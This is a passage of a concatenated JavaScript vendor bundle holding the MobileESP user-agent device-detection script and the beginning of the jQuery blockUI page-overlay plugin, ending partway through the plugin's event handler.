- /* *******************************************
- // Copyright 2010-2012, Anthony Hand
- // mdetect : http://code.google.com/p/mobileesp/source/browse/JavaScript/mdetect.js r215
- // LICENSE INFORMATION
- // Licensed under the Apache License, Version 2.0 (the "License");
- // you may not use this file except in compliance with the License.
- // You may obtain a copy of the License at
- // http://www.apache.org/licenses/LICENSE-2.0
- // Unless required by applicable law or agreed to in writing,
- // software distributed under the License is distributed on an
- // "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND,
- // either express or implied. See the License for the specific
- // language governing permissions and limitations under the License.
- // *******************************************
- */
- var isIphone = false;
- var isAndroidPhone = false;
- var isTierTablet = false;
- var isTierIphone = false;
- var isTierRichCss = false;
- var isTierGenericMobile = false;
- var engineWebKit = "webkit";
- var deviceIphone = "iphone";
- var deviceIpod = "ipod";
- var deviceIpad = "ipad";
- var deviceMacPpc = "macintosh"; //Used for disambiguation
- var deviceAndroid = "android";
- var deviceGoogleTV = "googletv";
- var deviceXoom = "xoom"; //Motorola Xoom
- var deviceHtcFlyer = "htc_flyer"; //HTC Flyer
- var deviceNuvifone = "nuvifone"; //Garmin Nuvifone
- var deviceSymbian = "symbian";
- var deviceS60 = "series60";
- var deviceS70 = "series70";
- var deviceS80 = "series80";
- var deviceS90 = "series90";
- var deviceWinPhone7 = "windows phone os 7";
- var deviceWinMob = "windows ce";
- var deviceWindows = "windows";
- var deviceIeMob = "iemobile";
- var devicePpc = "ppc"; //Stands for PocketPC
- var enginePie = "wm5 pie"; //An old Windows Mobile
- var deviceBB = "blackberry";
- var vndRIM = "vnd.rim"; //Detectable when BB devices emulate IE or Firefox
- var deviceBBStorm = "blackberry95"; //Storm 1 and 2
- var deviceBBBold = "blackberry97"; //Bold 97x0 (non-touch)
- var deviceBBBoldTouch = "blackberry 99"; //Bold 99x0 (touchscreen)
- var deviceBBTour = "blackberry96"; //Tour
- var deviceBBCurve = "blackberry89"; //Curve 2
- var deviceBBCurveTouch = "blackberry 938"; //Curve Touch 9380
- var deviceBBTorch = "blackberry 98"; //Torch
- var deviceBBPlaybook = "playbook"; //PlayBook tablet
- var devicePalm = "palm";
- var deviceWebOS = "webos"; //For Palm's line of WebOS devices
- var deviceWebOShp = "hpwos"; //For HP's line of WebOS devices
- var engineBlazer = "blazer"; //Old Palm browser
- var engineXiino = "xiino";
- var deviceKindle = "kindle"; //Amazon Kindle, eInk one
- var engineSilk = "silk"; //Amazon's accelerated Silk browser for Kindle Fire
- var vndwap = "vnd.wap";
- var wml = "wml";
- var deviceTablet = "tablet"; //Generic term for slate and tablet devices
- var deviceBrew = "brew";
- var deviceDanger = "danger";
- var deviceHiptop = "hiptop";
- var devicePlaystation = "playstation";
- var deviceNintendoDs = "nitro";
- var deviceNintendo = "nintendo";
- var deviceWii = "wii";
- var deviceXbox = "xbox";
- var deviceArchos = "archos";
- var engineOpera = "opera"; //Popular browser
- var engineNetfront = "netfront"; //Common embedded OS browser
- var engineUpBrowser = "up.browser"; //common on some phones
- var engineOpenWeb = "openweb"; //Transcoding by OpenWave server
- var deviceMidp = "midp"; //a mobile Java technology
- var uplink = "up.link";
- var engineTelecaQ = 'teleca q'; //a modern feature phone browser
- var devicePda = "pda";
- var mini = "mini"; //Some mobile browsers put 'mini' in their names.
- var mobile = "mobile"; //Some mobile browsers put 'mobile' in their user agent strings.
- var mobi = "mobi"; //Some mobile browsers put 'mobi' in their user agent strings.
- var maemo = "maemo";
- var linux = "linux";
- var qtembedded = "qt embedded"; //for Sony Mylo and others
- var mylocom2 = "com2"; //for Sony Mylo also
- var manuSonyEricsson = "sonyericsson";
- var manuericsson = "ericsson";
- var manuSamsung1 = "sec-sgh";
- var manuSony = "sony";
- var manuHtc = "htc"; //Popular Android and WinMo manufacturer
- var svcDocomo = "docomo";
- var svcKddi = "kddi";
- var svcVodafone = "vodafone";
- var disUpdate = "update"; //pda vs. update
- var uagent = "";
- if (navigator && navigator.userAgent)
- uagent = navigator.userAgent.toLowerCase();
- function DetectIphone()
- {
- if (uagent.search(deviceIphone) > -1)
- {
- if (DetectIpad() || DetectIpod())
- return false;
- else
- return true;
- }
- else
- return false;
- }
- function DetectIpod()
- {
- if (uagent.search(deviceIpod) > -1)
- return true;
- else
- return false;
- }
- function DetectIpad()
- {
- if (uagent.search(deviceIpad) > -1 && DetectWebkit())
- return true;
- else
- return false;
- }
- function DetectIphoneOrIpod()
- {
- if (uagent.search(deviceIphone) > -1 ||
- uagent.search(deviceIpod) > -1)
- return true;
- else
- return false;
- }
- function DetectIos()
- {
- if (DetectIphoneOrIpod() || DetectIpad())
- return true;
- else
- return false;
- }
- function DetectAndroid()
- {
- if ((uagent.search(deviceAndroid) > -1) || DetectGoogleTV())
- return true;
- if (uagent.search(deviceHtcFlyer) > -1)
- return true;
- else
- return false;
- }
- function DetectAndroidPhone()
- {
- if (DetectAndroid() && (uagent.search(mobile) > -1))
- return true;
- if (DetectOperaAndroidPhone())
- return true;
- if (uagent.search(deviceHtcFlyer) > -1)
- return true;
- else
- return false;
- }
- function DetectAndroidTablet()
- {
- if (!DetectAndroid())
- return false;
- if (DetectOperaMobile())
- return false;
- if (uagent.search(deviceHtcFlyer) > -1)
- return false;
- if (uagent.search(mobile) > -1)
- return false;
- else
- return true;
- }
- function DetectAndroidWebKit()
- {
- if (DetectAndroid() && DetectWebkit())
- return true;
- else
- return false;
- }
- function DetectGoogleTV()
- {
- if (uagent.search(deviceGoogleTV) > -1)
- return true;
- else
- return false;
- }
- function DetectWebkit()
- {
- if (uagent.search(engineWebKit) > -1)
- return true;
- else
- return false;
- }
- function DetectS60OssBrowser()
- {
- if (DetectWebkit())
- {
- if ((uagent.search(deviceS60) > -1 ||
- uagent.search(deviceSymbian) > -1))
- return true;
- else
- return false;
- }
- else
- return false;
- }
- function DetectSymbianOS()
- {
- if (uagent.search(deviceSymbian) > -1 ||
- uagent.search(deviceS60) > -1 ||
- uagent.search(deviceS70) > -1 ||
- uagent.search(deviceS80) > -1 ||
- uagent.search(deviceS90) > -1)
- return true;
- else
- return false;
- }
- function DetectWindowsPhone7()
- {
- if (uagent.search(deviceWinPhone7) > -1)
- return true;
- else
- return false;
- }
- function DetectWindowsMobile()
- {
- if (DetectWindowsPhone7())
- return false;
- if (uagent.search(deviceWinMob) > -1 ||
- uagent.search(deviceIeMob) > -1 ||
- uagent.search(enginePie) > -1)
- return true;
- if ((uagent.search(devicePpc) > -1) &&
- !(uagent.search(deviceMacPpc) > -1))
- return true;
- if (uagent.search(manuHtc) > -1 &&
- uagent.search(deviceWindows) > -1)
- return true;
- else
- return false;
- }
- function DetectBlackBerry()
- {
- if (uagent.search(deviceBB) > -1)
- return true;
- if (uagent.search(vndRIM) > -1)
- return true;
- else
- return false;
- }
- function DetectBlackBerryTablet()
- {
- if (uagent.search(deviceBBPlaybook) > -1)
- return true;
- else
- return false;
- }
- function DetectBlackBerryWebKit()
- {
- if (DetectBlackBerry() &&
- uagent.search(engineWebKit) > -1)
- return true;
- else
- return false;
- }
- function DetectBlackBerryTouch()
- {
- if (DetectBlackBerry() &&
- ((uagent.search(deviceBBStorm) > -1) ||
- (uagent.search(deviceBBTorch) > -1) ||
- (uagent.search(deviceBBBoldTouch) > -1) ||
- (uagent.search(deviceBBCurveTouch) > -1) ))
- return true;
- else
- return false;
- }
- function DetectBlackBerryHigh()
- {
- if (DetectBlackBerryWebKit())
- return false;
- if (DetectBlackBerry())
- {
- if (DetectBlackBerryTouch() ||
- uagent.search(deviceBBBold) > -1 ||
- uagent.search(deviceBBTour) > -1 ||
- uagent.search(deviceBBCurve) > -1)
- return true;
- else
- return false;
- }
- else
- return false;
- }
- function DetectBlackBerryLow()
- {
- if (DetectBlackBerry())
- {
- if (DetectBlackBerryHigh() || DetectBlackBerryWebKit())
- return false;
- else
- return true;
- }
- else
- return false;
- }
- function DetectPalmOS()
- {
- if (uagent.search(devicePalm) > -1 ||
- uagent.search(engineBlazer) > -1 ||
- uagent.search(engineXiino) > -1)
- {
- if (DetectPalmWebOS())
- return false;
- else
- return true;
- }
- else
- return false;
- }
- function DetectPalmWebOS()
- {
- if (uagent.search(deviceWebOS) > -1)
- return true;
- else
- return false;
- }
- function DetectWebOSTablet()
- {
- if (uagent.search(deviceWebOShp) > -1 &&
- uagent.search(deviceTablet) > -1)
- return true;
- else
- return false;
- }
- function DetectGarminNuvifone()
- {
- if (uagent.search(deviceNuvifone) > -1)
- return true;
- else
- return false;
- }
- function DetectSmartphone()
- {
- if (DetectIphoneOrIpod()
- || DetectAndroidPhone()
- || DetectS60OssBrowser()
- || DetectSymbianOS()
- || DetectWindowsMobile()
- || DetectWindowsPhone7()
- || DetectBlackBerry()
- || DetectPalmWebOS()
- || DetectPalmOS()
- || DetectGarminNuvifone())
- return true;
- return false;
- };
- function DetectArchos()
- {
- if (uagent.search(deviceArchos) > -1)
- return true;
- else
- return false;
- }
- function DetectBrewDevice()
- {
- if (uagent.search(deviceBrew) > -1)
- return true;
- else
- return false;
- }
- function DetectDangerHiptop()
- {
- if (uagent.search(deviceDanger) > -1 ||
- uagent.search(deviceHiptop) > -1)
- return true;
- else
- return false;
- }
- function DetectMaemoTablet()
- {
- if (uagent.search(maemo) > -1)
- return true;
- if ((uagent.search(linux) > -1)
- && (uagent.search(deviceTablet) > -1)
- && !DetectWebOSTablet()
- && !DetectAndroid())
- return true;
- else
- return false;
- }
- function DetectSonyMylo()
- {
- if (uagent.search(manuSony) > -1)
- {
- if (uagent.search(qtembedded) > -1 ||
- uagent.search(mylocom2) > -1)
- return true;
- else
- return false;
- }
- else
- return false;
- }
- function DetectOperaMobile()
- {
- if (uagent.search(engineOpera) > -1)
- {
- if (uagent.search(mini) > -1 ||
- uagent.search(mobi) > -1)
- return true;
- else
- return false;
- }
- else
- return false;
- }
- function DetectOperaAndroidPhone()
- {
- if ((uagent.search(engineOpera) > -1) &&
- (uagent.search(deviceAndroid) > -1) &&
- (uagent.search(mobi) > -1))
- return true;
- else
- return false;
- }
- function DetectOperaAndroidTablet()
- {
- if ((uagent.search(engineOpera) > -1) &&
- (uagent.search(deviceAndroid) > -1) &&
- (uagent.search(deviceTablet) > -1))
- return true;
- else
- return false;
- }
- function DetectSonyPlaystation()
- {
- if (uagent.search(devicePlaystation) > -1)
- return true;
- else
- return false;
- };
- function DetectNintendo()
- {
- if (uagent.search(deviceNintendo) > -1 ||
- uagent.search(deviceWii) > -1 ||
- uagent.search(deviceNintendoDs) > -1)
- return true;
- else
- return false;
- };
- function DetectXbox()
- {
- if (uagent.search(deviceXbox) > -1)
- return true;
- else
- return false;
- };
- function DetectGameConsole()
- {
- if (DetectSonyPlaystation())
- return true;
- if (DetectNintendo())
- return true;
- if (DetectXbox())
- return true;
- else
- return false;
- };
- function DetectKindle()
- {
- if (uagent.search(deviceKindle) > -1 &&
- !DetectAndroid())
- return true;
- else
- return false;
- }
- function DetectAmazonSilk()
- {
- if (uagent.search(engineSilk) > -1)
- return true;
- else
- return false;
- }
- function DetectMobileQuick()
- {
- if (DetectTierTablet())
- return false;
- if (DetectSmartphone())
- return true;
- if (uagent.search(deviceMidp) > -1 ||
- DetectBrewDevice())
- return true;
- if (DetectOperaMobile())
- return true;
- if (uagent.search(engineNetfront) > -1)
- return true;
- if (uagent.search(engineUpBrowser) > -1)
- return true;
- if (uagent.search(engineOpenWeb) > -1)
- return true;
- if (DetectDangerHiptop())
- return true;
- if (DetectMaemoTablet())
- return true;
- if (DetectArchos())
- return true;
- if ((uagent.search(devicePda) > -1) &&
- !(uagent.search(disUpdate) > -1))
- return true;
- if (uagent.search(mobile) > -1)
- return true;
- if (DetectKindle() ||
- DetectAmazonSilk())
- return true;
- return false;
- };
- function DetectMobileLong()
- {
- if (DetectMobileQuick())
- return true;
- if (DetectGameConsole())
- return true;
- if (DetectSonyMylo())
- return true;
- if (uagent.search(manuSamsung1) > -1 ||
- uagent.search(manuSonyEricsson) > -1 ||
- uagent.search(manuericsson) > -1)
- return true;
- if (uagent.search(svcDocomo) > -1)
- return true;
- if (uagent.search(svcKddi) > -1)
- return true;
- if (uagent.search(svcVodafone) > -1)
- return true;
- return false;
- };
- function DetectTierTablet()
- {
- if (DetectIpad()
- || DetectAndroidTablet()
- || DetectBlackBerryTablet()
- || DetectWebOSTablet())
- return true;
- else
- return false;
- };
- function DetectTierIphone()
- {
- if (DetectIphoneOrIpod())
- return true;
- if (DetectAndroidPhone())
- return true;
- if (DetectBlackBerryWebKit() && DetectBlackBerryTouch())
- return true;
- if (DetectWindowsPhone7())
- return true;
- if (DetectPalmWebOS())
- return true;
- if (DetectGarminNuvifone())
- return true;
- else
- return false;
- };
- function DetectTierRichCss()
- {
- if (DetectMobileQuick())
- {
- if (DetectTierIphone() || DetectKindle())
- return false;
- if (DetectWebkit())
- return true;
- if (DetectS60OssBrowser())
- return true;
- if (DetectBlackBerryHigh())
- return true;
- if (DetectWindowsMobile())
- return true;
- if (uagent.search(engineTelecaQ) > -1)
- return true;
- else
- return false;
- }
- else
- return false;
- };
- function DetectTierOtherPhones()
- {
- if (DetectMobileLong())
- {
- if (DetectTierIphone() || DetectTierRichCss())
- return false;
- else
- return true;
- }
- else
- return false;
- };
- function InitDeviceScan()
- {
- isIphone = DetectIphoneOrIpod();
- isAndroidPhone = DetectAndroidPhone();
- isTierIphone = DetectTierIphone();
- isTierTablet = DetectTierTablet();
- isTierRichCss = DetectTierRichCss();
- isTierGenericMobile = DetectTierOtherPhones();
- };
- try {
- InitDeviceScan();
- }catch(e){}
- /*!
- * jQuery blockUI plugin
- * Version 2.70.0-2014.11.23
- * Requires jQuery v1.7 or later
- *
- * Examples at: http://malsup.com/jquery/block/
- * Copyright (c) 2007-2013 M. Alsup
- * Dual licensed under the MIT and GPL licenses:
- * http://www.opensource.org/licenses/mit-license.php
- * http://www.gnu.org/licenses/gpl.html
- *
- * Thanks to Amir-Hossein Sobhi for some excellent contributions!
- */
- ;(function() {
- /*jshint eqeqeq:false curly:false latedef:false */
- "use strict";
- function setup($) {
- $.fn._fadeIn = $.fn.fadeIn;
- var noOp = $.noop || function() {};
- // this bit is to ensure we don't call setExpression when we shouldn't (with extra muscle to handle
- // confusing userAgent strings on Vista)
- var msie = /MSIE/.test(navigator.userAgent);
- var ie6 = /MSIE 6.0/.test(navigator.userAgent) && ! /MSIE 8.0/.test(navigator.userAgent);
- var mode = document.documentMode || 0;
- var setExpr = $.isFunction( document.createElement('div').style.setExpression );
- // global $ methods for blocking/unblocking the entire page
- $.blockUI = function(opts) { install(window, opts); };
- $.unblockUI = function(opts) { remove(window, opts); };
- // convenience method for quick growl-like notifications (http://www.google.com/search?q=growl)
- $.growlUI = function(title, message, timeout, onClose) {
- var $m = $('<div class="growlUI"></div>');
- if (title) $m.append('<h1>'+title+'</h1>');
- if (message) $m.append('<h2>'+message+'</h2>');
- if (timeout === undefined) timeout = 3000;
- // Added by konapun: Set timeout to 30 seconds if this growl is moused over, like normal toast notifications
- var callBlock = function(opts) {
- opts = opts || {};
- $.blockUI({
- message: $m,
- fadeIn : typeof opts.fadeIn !== 'undefined' ? opts.fadeIn : 700,
- fadeOut: typeof opts.fadeOut !== 'undefined' ? opts.fadeOut : 1000,
- timeout: typeof opts.timeout !== 'undefined' ? opts.timeout : timeout,
- centerY: false,
- showOverlay: false,
- onUnblock: onClose,
- css: $.blockUI.defaults.growlCSS
- });
- };
- callBlock();
- var nonmousedOpacity = $m.css('opacity');
- $m.mouseover(function() {
- callBlock({
- fadeIn: 0,
- timeout: 30000
- });
- var displayBlock = $('.blockMsg');
- displayBlock.stop(); // cancel fadeout if it has started
- displayBlock.fadeTo(300, 1); // make it easier to read the message by removing transparency
- }).mouseout(function() {
- $('.blockMsg').fadeOut(1000);
- });
- // End konapun additions
- };
- // plugin method for blocking element content
- $.fn.block = function(opts) {
- if ( this[0] === window ) {
- $.blockUI( opts );
- return this;
- }
- var fullOpts = $.extend({}, $.blockUI.defaults, opts || {});
- this.each(function() {
- var $el = $(this);
- if (fullOpts.ignoreIfBlocked && $el.data('blockUI.isBlocked'))
- return;
- $el.unblock({ fadeOut: 0 });
- });
- return this.each(function() {
- if ($.css(this,'position') == 'static') {
- this.style.position = 'relative';
- $(this).data('blockUI.static', true);
- }
- this.style.zoom = 1; // force 'hasLayout' in ie
- install(this, opts);
- });
- };
- // plugin method for unblocking element content
- $.fn.unblock = function(opts) {
- if ( this[0] === window ) {
- $.unblockUI( opts );
- return this;
- }
- return this.each(function() {
- remove(this, opts);
- });
- };
- $.blockUI.version = 2.70; // 2nd generation blocking at no extra cost!
- // override these in your code to change the default behavior and style
- $.blockUI.defaults = {
- // message displayed when blocking (use null for no message)
- message: '<h1>Please wait...</h1>',
- title: null, // title string; only used when theme == true
- draggable: true, // only used when theme == true (requires jquery-ui.js to be loaded)
- theme: false, // set to true to use with jQuery UI themes
- // styles for the message when blocking; if you wish to disable
- // these and use an external stylesheet then do this in your code:
- // $.blockUI.defaults.css = {};
- css: {
- padding: 0,
- margin: 0,
- width: '30%',
- top: '40%',
- left: '35%',
- textAlign: 'center',
- color: '#000',
- border: '3px solid #aaa',
- backgroundColor:'#fff',
- cursor: 'wait'
- },
- // minimal style set used when themes are used
- themedCSS: {
- width: '30%',
- top: '40%',
- left: '35%'
- },
- // styles for the overlay
- overlayCSS: {
- backgroundColor: '#000',
- opacity: 0.6,
- cursor: 'wait'
- },
- // style to replace wait cursor before unblocking to correct issue
- // of lingering wait cursor
- cursorReset: 'default',
- // styles applied when using $.growlUI
- growlCSS: {
- width: '350px',
- top: '10px',
- left: '',
- right: '10px',
- border: 'none',
- padding: '5px',
- opacity: 0.6,
- cursor: 'default',
- color: '#fff',
- backgroundColor: '#000',
- '-webkit-border-radius':'10px',
- '-moz-border-radius': '10px',
- 'border-radius': '10px'
- },
- // IE issues: 'about:blank' fails on HTTPS and javascript:false is s-l-o-w
- // (hat tip to Jorge H. N. de Vasconcelos)
- /*jshint scripturl:true */
- iframeSrc: /^https/i.test(window.location.href || '') ? 'javascript:false' : 'about:blank',
- // force usage of iframe in non-IE browsers (handy for blocking applets)
- forceIframe: false,
- // z-index for the blocking overlay
- baseZ: 1000,
- // set these to true to have the message automatically centered
- centerX: true, // <-- only effects element blocking (page block controlled via css above)
- centerY: true,
- // allow body element to be stetched in ie6; this makes blocking look better
- // on "short" pages. disable if you wish to prevent changes to the body height
- allowBodyStretch: true,
- // enable if you want key and mouse events to be disabled for content that is blocked
- bindEvents: true,
- // be default blockUI will supress tab navigation from leaving blocking content
- // (if bindEvents is true)
- constrainTabKey: true,
- // fadeIn time in millis; set to 0 to disable fadeIn on block
- fadeIn: 200,
- // fadeOut time in millis; set to 0 to disable fadeOut on unblock
- fadeOut: 400,
- // time in millis to wait before auto-unblocking; set to 0 to disable auto-unblock
- timeout: 0,
- // disable if you don't want to show the overlay
- showOverlay: true,
- // if true, focus will be placed in the first available input field when
- // page blocking
- focusInput: true,
- // elements that can receive focus
- focusableElements: ':input:enabled:visible',
- // suppresses the use of overlay styles on FF/Linux (due to performance issues with opacity)
- // no longer needed in 2012
- // applyPlatformOpacityRules: true,
- // callback method invoked when fadeIn has completed and blocking message is visible
- onBlock: null,
- // callback method invoked when unblocking has completed; the callback is
- // passed the element that has been unblocked (which is the window object for page
- // blocks) and the options that were passed to the unblock call:
- // onUnblock(element, options)
- onUnblock: null,
- // callback method invoked when the overlay area is clicked.
- // setting this will turn the cursor to a pointer, otherwise cursor defined in overlayCss will be used.
- onOverlayClick: null,
- // don't ask; if you really must know: http://groups.google.com/group/jquery-en/browse_thread/thread/36640a8730503595/2f6a79a77a78e493#2f6a79a77a78e493
- quirksmodeOffsetHack: 4,
- // class name of the message block
- blockMsgClass: 'blockMsg',
- // if it is already blocked, then ignore it (don't unblock and reblock)
- ignoreIfBlocked: false
- };
- // private data and functions follow...
- var pageBlock = null;
- var pageBlockEls = [];
- function install(el, opts) {
- var css, themedCSS;
- var full = (el == window);
- var msg = (opts && opts.message !== undefined ? opts.message : undefined);
- opts = $.extend({}, $.blockUI.defaults, opts || {});
- if (opts.ignoreIfBlocked && $(el).data('blockUI.isBlocked'))
- return;
- opts.overlayCSS = $.extend({}, $.blockUI.defaults.overlayCSS, opts.overlayCSS || {});
- css = $.extend({}, $.blockUI.defaults.css, opts.css || {});
- if (opts.onOverlayClick)
- opts.overlayCSS.cursor = 'pointer';
- themedCSS = $.extend({}, $.blockUI.defaults.themedCSS, opts.themedCSS || {});
- msg = msg === undefined ? opts.message : msg;
- // remove the current block (if there is one)
- if (full && pageBlock)
- remove(window, {fadeOut:0});
- // if an existing element is being used as the blocking content then we capture
- // its current place in the DOM (and current display style) so we can restore
- // it when we unblock
- if (msg && typeof msg != 'string' && (msg.parentNode || msg.jquery)) {
- var node = msg.jquery ? msg[0] : msg;
- var data = {};
- $(el).data('blockUI.history', data);
- data.el = node;
- data.parent = node.parentNode;
- data.display = node.style.display;
- data.position = node.style.position;
- if (data.parent)
- data.parent.removeChild(node);
- }
- $(el).data('blockUI.onUnblock', opts.onUnblock);
- var z = opts.baseZ;
- // blockUI uses 3 layers for blocking, for simplicity they are all used on every platform;
- // layer1 is the iframe layer which is used to supress bleed through of underlying content
- // layer2 is the overlay layer which has opacity and a wait cursor (by default)
- // layer3 is the message content that is displayed while blocking
- var lyr1, lyr2, lyr3, s;
- if (msie || opts.forceIframe)
- lyr1 = $('<iframe class="blockUI" style="z-index:'+ (z++) +';display:none;border:none;margin:0;padding:0;position:absolute;width:100%;height:100%;top:0;left:0" src="'+opts.iframeSrc+'"></iframe>');
- else
- lyr1 = $('<div class="blockUI" style="display:none"></div>');
- if (opts.theme)
- lyr2 = $('<div class="blockUI blockOverlay ui-widget-overlay" style="z-index:'+ (z++) +';display:none"></div>');
- else
- lyr2 = $('<div class="blockUI blockOverlay" style="z-index:'+ (z++) +';display:none;border:none;margin:0;padding:0;width:100%;height:100%;top:0;left:0"></div>');
- if (opts.theme && full) {
- s = '<div class="blockUI ' + opts.blockMsgClass + ' blockPage ui-dialog ui-widget ui-corner-all" style="z-index:'+(z+10)+';display:none;position:fixed">';
- if ( opts.title ) {
- s += '<div class="ui-widget-header ui-dialog-titlebar ui-corner-all blockTitle">'+(opts.title || ' ')+'</div>';
- }
- s += '<div class="ui-widget-content ui-dialog-content"></div>';
- s += '</div>';
- }
- else if (opts.theme) {
- s = '<div class="blockUI ' + opts.blockMsgClass + ' blockElement ui-dialog ui-widget ui-corner-all" style="z-index:'+(z+10)+';display:none;position:absolute">';
- if ( opts.title ) {
- s += '<div class="ui-widget-header ui-dialog-titlebar ui-corner-all blockTitle">'+(opts.title || ' ')+'</div>';
- }
- s += '<div class="ui-widget-content ui-dialog-content"></div>';
- s += '</div>';
- }
- else if (full) {
- s = '<div class="blockUI ' + opts.blockMsgClass + ' blockPage" style="z-index:'+(z+10)+';display:none;position:fixed"></div>';
- }
- else {
- s = '<div class="blockUI ' + opts.blockMsgClass + ' blockElement" style="z-index:'+(z+10)+';display:none;position:absolute"></div>';
- }
- lyr3 = $(s);
- // if we have a message, style it
- if (msg) {
- if (opts.theme) {
- lyr3.css(themedCSS);
- lyr3.addClass('ui-widget-content');
- }
- else
- lyr3.css(css);
- }
- // style the overlay
- if (!opts.theme /*&& (!opts.applyPlatformOpacityRules)*/)
- lyr2.css(opts.overlayCSS);
- lyr2.css('position', full ? 'fixed' : 'absolute');
- // make iframe layer transparent in IE
- if (msie || opts.forceIframe)
- lyr1.css('opacity',0.0);
- //$([lyr1[0],lyr2[0],lyr3[0]]).appendTo(full ? 'body' : el);
- var layers = [lyr1,lyr2,lyr3], $par = full ? $('body') : $(el);
- $.each(layers, function() {
- this.appendTo($par);
- });
- if (opts.theme && opts.draggable && $.fn.draggable) {
- lyr3.draggable({
- handle: '.ui-dialog-titlebar',
- cancel: 'li'
- });
- }
- // ie7 must use absolute positioning in quirks mode and to account for activex issues (when scrolling)
- var expr = setExpr && (!$.support.boxModel || $('object,embed', full ? null : el).length > 0);
- if (ie6 || expr) {
- // give body 100% height
- if (full && opts.allowBodyStretch && $.support.boxModel)
- $('html,body').css('height','100%');
- // fix ie6 issue when blocked element has a border width
- if ((ie6 || !$.support.boxModel) && !full) {
- var t = sz(el,'borderTopWidth'), l = sz(el,'borderLeftWidth');
- var fixT = t ? '(0 - '+t+')' : 0;
- var fixL = l ? '(0 - '+l+')' : 0;
- }
- // simulate fixed position
- $.each(layers, function(i,o) {
- var s = o[0].style;
- s.position = 'absolute';
- if (i < 2) {
- if (full)
- s.setExpression('height','Math.max(document.body.scrollHeight, document.body.offsetHeight) - (jQuery.support.boxModel?0:'+opts.quirksmodeOffsetHack+') + "px"');
- else
- s.setExpression('height','this.parentNode.offsetHeight + "px"');
- if (full)
- s.setExpression('width','jQuery.support.boxModel && document.documentElement.clientWidth || document.body.clientWidth + "px"');
- else
- s.setExpression('width','this.parentNode.offsetWidth + "px"');
- if (fixL) s.setExpression('left', fixL);
- if (fixT) s.setExpression('top', fixT);
- }
- else if (opts.centerY) {
- if (full) s.setExpression('top','(document.documentElement.clientHeight || document.body.clientHeight) / 2 - (this.offsetHeight / 2) + (blah = document.documentElement.scrollTop ? document.documentElement.scrollTop : document.body.scrollTop) + "px"');
- s.marginTop = 0;
- }
- else if (!opts.centerY && full) {
- var top = (opts.css && opts.css.top) ? parseInt(opts.css.top, 10) : 0;
- var expression = '((document.documentElement.scrollTop ? document.documentElement.scrollTop : document.body.scrollTop) + '+top+') + "px"';
- s.setExpression('top',expression);
- }
- });
- }
- // show the message
- if (msg) {
- if (opts.theme)
- lyr3.find('.ui-widget-content').append(msg);
- else
- lyr3.append(msg);
- if (msg.jquery || msg.nodeType)
- $(msg).show();
- }
- if ((msie || opts.forceIframe) && opts.showOverlay)
- lyr1.show(); // opacity is zero
- if (opts.fadeIn) {
- var cb = opts.onBlock ? opts.onBlock : noOp;
- var cb1 = (opts.showOverlay && !msg) ? cb : noOp;
- var cb2 = msg ? cb : noOp;
- if (opts.showOverlay)
- lyr2._fadeIn(opts.fadeIn, cb1);
- if (msg)
- lyr3._fadeIn(opts.fadeIn, cb2);
- }
- else {
- if (opts.showOverlay)
- lyr2.show();
- if (msg)
- lyr3.show();
- if (opts.onBlock)
- opts.onBlock.bind(lyr3)();
- }
- // bind key and mouse events
- bind(1, el, opts);
- if (full) {
- pageBlock = lyr3[0];
- pageBlockEls = $(opts.focusableElements,pageBlock);
- if (opts.focusInput)
- setTimeout(focus, 20);
- }
- else
- center(lyr3[0], opts.centerX, opts.centerY);
- if (opts.timeout) {
- // auto-unblock
- var to = setTimeout(function() {
- if (full)
- $.unblockUI(opts);
- else
- $(el).unblock(opts);
- }, opts.timeout);
- $(el).data('blockUI.timeout', to);
- }
- }
- // remove the block
- function remove(el, opts) {
- var count;
- var full = (el == window);
- var $el = $(el);
- var data = $el.data('blockUI.history');
- var to = $el.data('blockUI.timeout');
- if (to) {
- clearTimeout(to);
- $el.removeData('blockUI.timeout');
- }
- opts = $.extend({}, $.blockUI.defaults, opts || {});
- bind(0, el, opts); // unbind events
- if (opts.onUnblock === null) {
- opts.onUnblock = $el.data('blockUI.onUnblock');
- $el.removeData('blockUI.onUnblock');
- }
- var els;
- if (full) // crazy selector to handle odd field errors in ie6/7
- els = $('body').children().filter('.blockUI').add('body > .blockUI');
- else
- els = $el.find('>.blockUI');
- // fix cursor issue
- if ( opts.cursorReset ) {
- if ( els.length > 1 )
- els[1].style.cursor = opts.cursorReset;
- if ( els.length > 2 )
- els[2].style.cursor = opts.cursorReset;
- }
- if (full)
- pageBlock = pageBlockEls = null;
- if (opts.fadeOut) {
- count = els.length;
- els.stop().fadeOut(opts.fadeOut, function() {
- if ( --count === 0)
- reset(els,data,opts,el);
- });
- }
- else
- reset(els, data, opts, el);
- }
- // move blocking element back into the DOM where it started
- function reset(els,data,opts,el) {
- var $el = $(el);
- if ( $el.data('blockUI.isBlocked') )
- return;
- els.each(function(i,o) {
- // remove via DOM calls so we don't lose event handlers
- if (this.parentNode)
- this.parentNode.removeChild(this);
- });
- if (data && data.el) {
- data.el.style.display = data.display;
- data.el.style.position = data.position;
- data.el.style.cursor = 'default'; // #59
- if (data.parent)
- data.parent.appendChild(data.el);
- $el.removeData('blockUI.history');
- }
- if ($el.data('blockUI.static')) {
- $el.css('position', 'static'); // #22
- }
- if (typeof opts.onUnblock == 'function')
- opts.onUnblock(el,opts);
- // fix issue in Safari 6 where block artifacts remain until reflow
- var body = $(document.body), w = body.width(), cssW = body[0].style.width;
- body.width(w-1).width(w);
- body[0].style.width = cssW;
- }
- // bind/unbind the handler
- function bind(b, el, opts) {
- var full = el == window, $el = $(el);
- // don't bother unbinding if there is nothing to unbind
- if (!b && (full && !pageBlock || !full && !$el.data('blockUI.isBlocked')))
- return;
- $el.data('blockUI.isBlocked', b);
- // don't bind events when overlay is not in use or if bindEvents is false
- if (!full || !opts.bindEvents || (b && !opts.showOverlay))
- return;
- // bind anchors and inputs for mouse and key events
- var events = 'mousedown mouseup keydown keypress keyup touchstart touchend touchmove';
- if (b)
- $(document).bind(events, opts, handler);
- else
- $(document).unbind(events, handler);
- // former impl...
- // var $e = $('a,:input');
- // b ? $e.bind(events, opts, handler) : $e.unbind(events, handler);
- }
- // event handler to suppress keyboard/mouse events when blocking
- function handler(e) {
- // allow tab navigation (conditionally)
- if (e.type === 'keydown' && e.keyCode && e.keyCode == 9) {
- if (pageBlock && e.data.constrainTabKey) {
- var els = pageBlockEls;
- var fwd = !e.shiftKey && e.target === els[els.length-1];
- var back = e.shiftKey && e.target === els[0];
- if (fwd || back) {
- setTimeout(function(){focus(back);},10);
- return false;
- }
- }
- }
- var opts = e.data;
- var target = $(e.target);
